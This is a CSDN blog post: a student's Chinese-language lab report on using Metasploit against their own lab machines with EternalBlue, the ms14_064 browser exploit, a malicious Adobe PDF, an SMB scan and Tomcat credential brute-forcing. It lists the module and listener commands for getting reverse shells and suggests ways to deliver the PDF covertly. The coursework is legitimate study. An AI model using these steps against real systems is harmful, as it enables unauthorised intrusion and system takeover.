20202418 2022-2023-2 《网络与系统攻防技术》实验六实验报告

已于 2023-05-16 13:13:36 修改
阅读量393 收藏 7
点赞数 1
文章标签： 网络 安全 web安全
于 2023-05-16 13:10:40 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Fish_eggs/article/details/130686999
版权

20202418 2022-2023-2 《网络与系统攻防技术》实验六实验报告

1.实验内容

掌握metasploit的基本应用方式，重点常用的三种攻击方式的思路。具体需要完成：
1.1 使用永恒之蓝漏洞（MS17-010）对靶机进行主动攻击；
1.2 使用ms14_064漏洞针对浏览器进行攻击；
1.3 使用Adobe发动针对客户端的攻击；
1.4 成功应用SMB Version Detection
1.5 使用msf发起一个针对tomcat的攻击

2.实验过程

2.1 使用永恒之蓝漏洞（MS17-010）对靶机进行主动攻击

靶机（windowsxp）：172.16.211.75

2.1.1 使用nessus对靶机进行漏洞扫描

使用上一次使用的Nessus中的Basic Network Scan的选项。
在这里插入图片描述
输入靶机的ip地址，点击launch，开始扫描目标主机对应的漏洞。
在这里插入图片描述
发现有个红的，点击查看，是风靡一时的永恒之蓝漏洞！
在这里插入图片描述

2.1.2 打开msfconsole，search寻找模块

使用指令：
search ms09-001
在这里插入图片描述
挑选我们期望的模式
在这里插入图片描述

2.1.2 调整参数

如图，输入
set 想要调整的参数 参数名称
将攻击的主机调整为我们的靶机ip地址
在这里插入图片描述

2.1.3 run发动攻击

如上图所示，有的模块是不可以的，当然我们也不知道一开始应该使用哪个模块，就穷举尝试一下即可。
发现use1是可以的。
在这里插入图片描述
如上图红色框框可见，已经成功发动了攻击，成功获得了目标主机的shell。

2.2 使用ms14_064漏洞针对浏览器进行攻击

2.2.1 search寻找模块并选择相关模块、配置参数

这里是搜索相关模块之后，依据名字（如：windows、brower等）选择对应的模块。

use exploit/windows/browser/ms14_064_ole_code_execution # 选择攻击使用模块
set SRVHOST 172.16.211.203 # 设置攻击机ip，隐藏自身
set LHOST 172.16.211.203
set LPORT 2418
exploit #发起渗透攻击
在这里插入图片描述

结果如图，会产生一个网址。
在这里插入图片描述

2.2.2 “诱导”靶机打开网址

靶机是我自己的，我选择直接复制粘贴。
在这里插入图片描述

2.2.3 在攻击主机查看链接并获得shell

sessions # 列出会话
sessions -i 2 # 进入与靶机的连接，即获取到的shell

在这里插入图片描述
在这里插入图片描述

2.3 使用Adobe发动针对客户端的攻击

攻击主机（kali）：192.168.1.102

2.3.1 生成攻击文件

攻击过程和上述过程十分类似。也是先search 对应的攻击模块，根据关键字选择我们想要的攻击模块，之后使用show options查看需要修改哪些参数，最后修改对应的参数运行生成攻击文件。在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

2.3.2 以某种方法将pdf文档传送至靶机上

可以通过社会工程学方法、U盘硬盘等物理存储硬件、趁对方不注意直接导入的方法诱导靶机以Adobe Reader 9.3（版本在8.2.4-9.3.4之间即可）的打开方式打开pdf文档。
在这里插入图片描述

2.3.3 在攻击主机上开启监听

use exploit/multi/handler
set LPORT 4444 # 与前面使用攻击模块时配置的LPORT要一致，默认为4444
set LHOST 192.168.1.102 # 与前面使用攻击模块时配置的LHOST要一致
run

2.3.4 诱导靶机打开pdf文档，获得shell

如图所示，在使用Adobe Reader打开pdf文档后，会卡机。此时在攻击主机上则会显示监听成功，成功获取目标主机的shell。

2.4 SMB Version Detection

2.4.1 模块介绍

SMB（ServerMessageBlock）协议作为一种局域网文件共享传输协议，常被用来作为共享文件安全传输研究的平台。
但是，SMB协议中采用控制文件安全传输的机制是使用客户身份验证的方式，通过客户端向服务器端发送验证密码来获取文件传输的权限。
针对该机制的网络攻击相对严重，攻击程序通过对验证密码的截获来窃取文件的访问权限，局域网下文件传输的安全性得不到保障。
使用Metasploit渗透框架可以进行SMB服务版本扫描。

2.4.2 参数设置

use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.112 # 设置靶机IP

在这里插入图片描述

2.4.3 扫描结果

[*] 192.168.1.112:445 ——SMB Detected (versions:1) (preferred dialect:) (signatures:optional)Windows XP SP3 (language:English) (name:20202418-0D56B9) (workgroup:WORKGROUP)
[+] 192.168.1.112:445Host is running SMB Detected (versions:1) (preferred dialect:) (signatures:optional)WindowsXP SP3 (language:English) (name:20202418-0b56B9）（workgroup:20202418URKORwuP）

可以发现他直接把我电脑的信息都扫出来了！很厉害！甚至能看出来我电脑的语言、名称、工作组等。

2.5 使用msf一个针对tomcat的攻击

tomcat弱口令漏洞：Tomcat支持后台部署War文件，默认情况下管理页面仅允许本地访问，如果网站运维/开发人员手动修改配置文件中的信息允许远程IP进行访问（需求），且恶意攻击者拿到管理界面账户密码情况下，则可上传木马文件，控制系统。在tomcat8环境下默认进入后台的密码为tomcat/tomcat，未修改造成未授权即可进入后台，或者管理员把密码设置成弱口令， 使用工具对其进行穷举。得到密码后，也可以进行后台上传恶意代码控制服务器。

靶机（蔡步越同学的电脑 win10系统）：192.168.1.106

2.5.1 靶机环境的配置

详情参考这篇博客（https://blog.csdn.net/weixin_45253622/article/details/114433601），我在我的舍友蔡步越同学的主机上开启了tomcat服务，把后台身份验证的证号和密码都设置成了tomcat，并关闭了他的防火墙。
在这里插入图片描述

2.5.2 使用nmap对目标主机进行扫描

输入 nmap -sV 192.168.1.106，查询目标靶机是否开启了tomcat服务。通过下图可以看出，tomcat所属的8180端口已经被打开了.
在这里插入图片描述

2.5.3 按照之前的流程 发动攻击

search tomcat
show options
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt ————密码字典
set USER_FILE /usr/share/metasploit- framework/data/wordlists/tomcat_mgr_default_users.txt ————用户字典
在这里插入图片描述
第一次发动攻击失败！（失败原因见分析）
在这里插入图片描述

2.5.4 重新配置靶机环境 终于攻击成功

如图所示，成功获得了我们想要的账号和密码！
在这里插入图片描述

3.问题及解决方案

  • 问题1：在使用Adobe发动针对客户端的攻击时失败，靶机成功打开了pdf文件，未发生漏洞
  • 问题1解决方案：Adobe的版本一定要在8.2.4-9.3.4之间！否则攻击不会成功。
  • 问题2： 在tomcat实验中，首次攻击未成功，显示Authorization not requested
  • 问题2解决方案：在tomcat中，远程认证默认是关闭的，因此要修改配置文件，打开能够远程攻击的权限。具体的配置步骤放在参考材料中了。

4.学习感悟、思考等

在这次实验中，我学习了metasploit的基本应用方式，重点掌握了三种攻击方式的思路。在完成任务的过程中，我遇到了很多困难和挑战。尤其是在针对浏览器和客户端的攻击中，由于漏洞的不断更新和修复，我需要不断地寻找最新的漏洞并进行尝试。我还学习了如何使用辅助模块，这些模块可以帮助我更加高效地进行攻击和渗透测试。总的来说，这次计算机实验让我受益匪浅。通过实践，我不仅掌握了metasploit的基本应用方式，还深入了解了网络安全的重要性和攻击的原理。我相信，在今后的学习和工作中，这些知识和经验都会对我有很大的帮助。

参考资料

超高校级的划水师
关注
  • 1
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
天津理工大学信息安全专业网络攻防实验3-Web攻击与防御
11-28
1.实验目的 1） 通过该实验熟悉sqlmap常用的命令，完成POST注入攻击。 2.实验工具 1）服务器：CentOS，IP地址：10.1.1.136 2）测试者：win7，IP地址随机 3.实验方案 1）了解sqlmap以及post注入形成原因并利用sqlmap进行post注入
SXU-网络攻防2022-2023学年第一学期期末考试题
12-28
山西大学网络攻防2022-2023学年第一学期期末考试题 山西大学网络攻防2022-2023学年第一学期期末考试题 山西大学网络攻防2022-2023学年第一学期期末考试题 山西大学网络攻防2022-2023学年第一学期期末考试题 山西大学网络攻防2022-2023学年第一学期期末考试题 山西大学网络攻防2022-2023学年第一学期期末考试题 一共六个大题 包含问答、操作题，操作题需要截图
网络安全-网络攻防技术-实验报告-北京航空航天大学
03-29
北京航空航天大学信息对抗技术专业本科生《网络攻防实验》实验报告
SXU-2022-2023第一学期网络攻防期末考试答案(个人版，99.8分).pdf
12-31
山西大学2022-2023第一学期网络攻防期末考试答案 此答案为本人考试时亲自实操完成，99.8分
西南科技大学网络攻防与对抗实验三，ARP欺骗实验
06-02
实验三，ARP欺骗详细过程实验报告 验证型实验，了解ARP欺骗的原理，掌握ARP欺骗的实验过程 （1）准备实验环境 （2）在虚拟机上运行cain主程序 （3）扫描活动主机 （4）配置信息 （5）开启ARP欺骗实验过程 （6）观察ARP缓存
20202409 2022-2023-2 《网络与系统攻防技术》实验六实验报告
m0_53980546的博客
05-22 243
但是，碰到问题实在太正常了，顺利也不是能够苛求的，终归也从中学到了不少知识，还磨炼了自己应对困难的心态。可是，我感觉自己尚未有严肃研究某个漏洞的基础，在metasploit渗透框架下，我就如孩童一样只是在“玩”这些漏洞而已，希望能够趁热打铁，努力提高自己的水平，作为一个网络空间安全专业的学生，这是难以推脱的使命。本次实践针对xp系统的windows media player所带有的漏洞，利用metasploit的ms_12_004_midi模块对靶机进行渗透测试，我们可以获取系统权限，弹出运行计算机程序。
20202414 2022-2023-2 《网络与系统攻防技术》实验六实验报告
h118189的博客
05-16 972
本次实验学习目标是掌握metasploit的基本应用方式，重点常用的三种攻击方式的思路。我进行了以下实践，对msf进行攻击有了更深的理解：1.1 一个主动攻击实践，使用使用漏洞为永恒之蓝（MS17_010）;1.2 一个针对浏览器的攻击，使用漏洞为极光漏洞（MS10_002）；1.3 一个针对客户端的攻击，实施了针对Adobe的漏洞的攻击；1.4 成功应用任何一个辅助模块。
天网防火墙的配置
qq_45157635的博客
06-19 1309
随着计算机技术的迅速发展，在计算机上处理的业务也由基于单机的数学运算、文件处理，基于简单连接的内部网络的内部业务处理、办公自动化等发展到基于复杂的内部网、企业外部网、全球互联网的企业级计算机处理系统和世界范围内的信息共享和业务处理。在系统处理能力提高的同时，系统的连接能力也在不断的提高。但在连接能力信息、流通能力提高的同时，基于网络连接的安全问题也日益突出，因此计算机安全问题，应该像每家每户的防火防盗问题一样，做到防范于未然。防火墙则是一个安全策略的检查站。所有进出的信息都必须通过防火墙，防火墙便成为安全问
02_FourandSix2.01靶机入侵测试完整流程与思路
Hack word
04-12 181
首先有nmap进行信息收集，然后发现开放的22端口ssh服务，另外检收集到nfs文件共享，查看文件共享的信息，发现为everyone所有人可看，利用文件挂载将靶机中的文件挂载到本机，发现问价是一个.7z的压缩包，尝试解压但是压缩文件有密码，根据密码输入错误的解压结果来看发现里面有10个文件，其中八张图片还有一组公私钥，公私钥中可能存在着密码信息，破解压缩包，利用john进行压缩包破解，破解成功后分析文件信息
调试时，Intellij Idea弹窗： Page 'http://xxx' requested without authorization问题解决
进击的熊
04-29 779
最近用浏览器调试时，Intellij Idea总是弹窗： Page 'http://xxx' requested without authorization 问题解决： 打开Intellij Idea，File --> Settings-->Build,Execution,Deployment --> Debugger，勾选“Allow unsigned reuqest...
每次调用都出page requested without authorization的解决方法
超越的博客
06-03 2542
每次调用都出page requested without authorization IDEA解决方法： 完美解决！！！
【webstorm】提示requested without authorization，页面未授权
OG
03-16 1万+
用webstorm调试页面时，老是弹出对话框说页面未授权，如下图： 解决方案也是蛮简单的咯，把他勾选上就好啦！如下图：
IDEA使用Tomcat出现`requested without authorization, you can copy URL and open it in browser to trust it
weixin_45196232的博客
07-10 856
IDEA使用tomcat是出现requested without authorization, you can copy URL and open it in browser to trust it.如下图： 普通解决方法： 快捷键：Ctrl+Alt+S 这样就可以解决每次弹出对话框 根源解决办法： 其根本原因就是配置的tomcat的URL地址不正确 这里更改对应路径即可 如果你不知道你的路径是什么可以使用以下操作 更改后应用保存即可解决如下： ...
解决WebStorm 跳转页面时出现requested without authorization, you can copy URL and open it in browser to ....
rushrush的博客
06-06 1万+
这几天使用webstorm调试自己的页面时，页内跳转老是出现这个问题，说是链接不安全没法直接跳转，然后要你复制链接到剪切板，自己去浏览器跳转Page 'http://localhost:63342/xxxx.html' requested without authorization, you can copy URL and open it in browser to trust it.刚好今天也...
authorization_request_not_found错误记录
qq_39848621的博客
12-22 4217
记录一下使用SpringSecurity的OAuth2时遇到的错误问题描述解决（替换回去） 问题描述 在结合SpringCloud组件Gateway和SpringSecurity5做OAuth2登录时，从登录界面跳转时会发生authorization_request_not_found的错误，但重新输入地址访问后可以看到登录是成功的。由于不影响使用，我一直拖着没解决这个问题，直到最近有时间静下心来看看。 各种翻github后，从结论来说，这个问题是由于Gateway内置的WebClient和SpringSe
解决requested without authorization 请求页面未经授权问题
liang9527888的博客
03-23 4379
https://segmentfault.com/q/1010000005600389
跨域问题服务端解决办法 Request header field Authorization is not allowed by Access-Control-Allow-Headers
热门推荐
root_miss的博客
09-17 6万+
跨域问题服务端解决办法 一般在入口文件加 header('Access-Control-Allow-Origin:*'); // 响应类型 header('Access-Control-Allow-Methods:*'); // 响应头设置 header('Access-Control-Allow-Headers:content-type,token,id'); header("Access...
Spring API 的 CORS 测试 提示错误 Reason: header ‘authorization’ is not allowed
HONEY MOOSE
11-05 1245
在使用 CORS 测试的时候，我们得到下面的错误提示： Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://localhost:8080/search/user. (Reason: header ‘authorization’ is not allowed according to header ‘Access-Control-Allow-Headers’
Spanning-tree 攻防实验 发起攻击后，PC1的网络中断
最新发布
07-08
在Spanning Tree攻防实验中，如果你发起了攻击并导致PC1的网络中断，可能有以下几个可能的原因： 1. 攻击导致环路：如果你在网络中引入了一个环路，例如在不同的交换机之间创建了多个连接，Spanning Tree Protocol（STP）会自动检测到环路并关闭其中一个或多个端口。这可能导致PC1所连接的端口被关闭，从而导致网络中断。 2. 攻击触发了BPDU Guard：如果你的攻击导致了非法的BPDU帧传播到网络中，交换机上启用了BPDU Guard的端口会被设置为错误禁用状态。如果PC1所连接的端口启用了BPDU Guard，并且检测到了非法BPDU帧，该端口将被禁用，从而导致网络中断。 3. 攻击触发了端口安全机制：如果在PC1所连接的交换机端口上启用了端口安全机制，并且你的攻击导致了违规的MAC地址或超过允许设备数量的情况，端口可能会被禁用，导致PC1的网络中断。 需要仔细检查攻击行为和配置，以确定造成PC1网络中断的具体原因，并采取相应的措施来修复网络中断问题。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值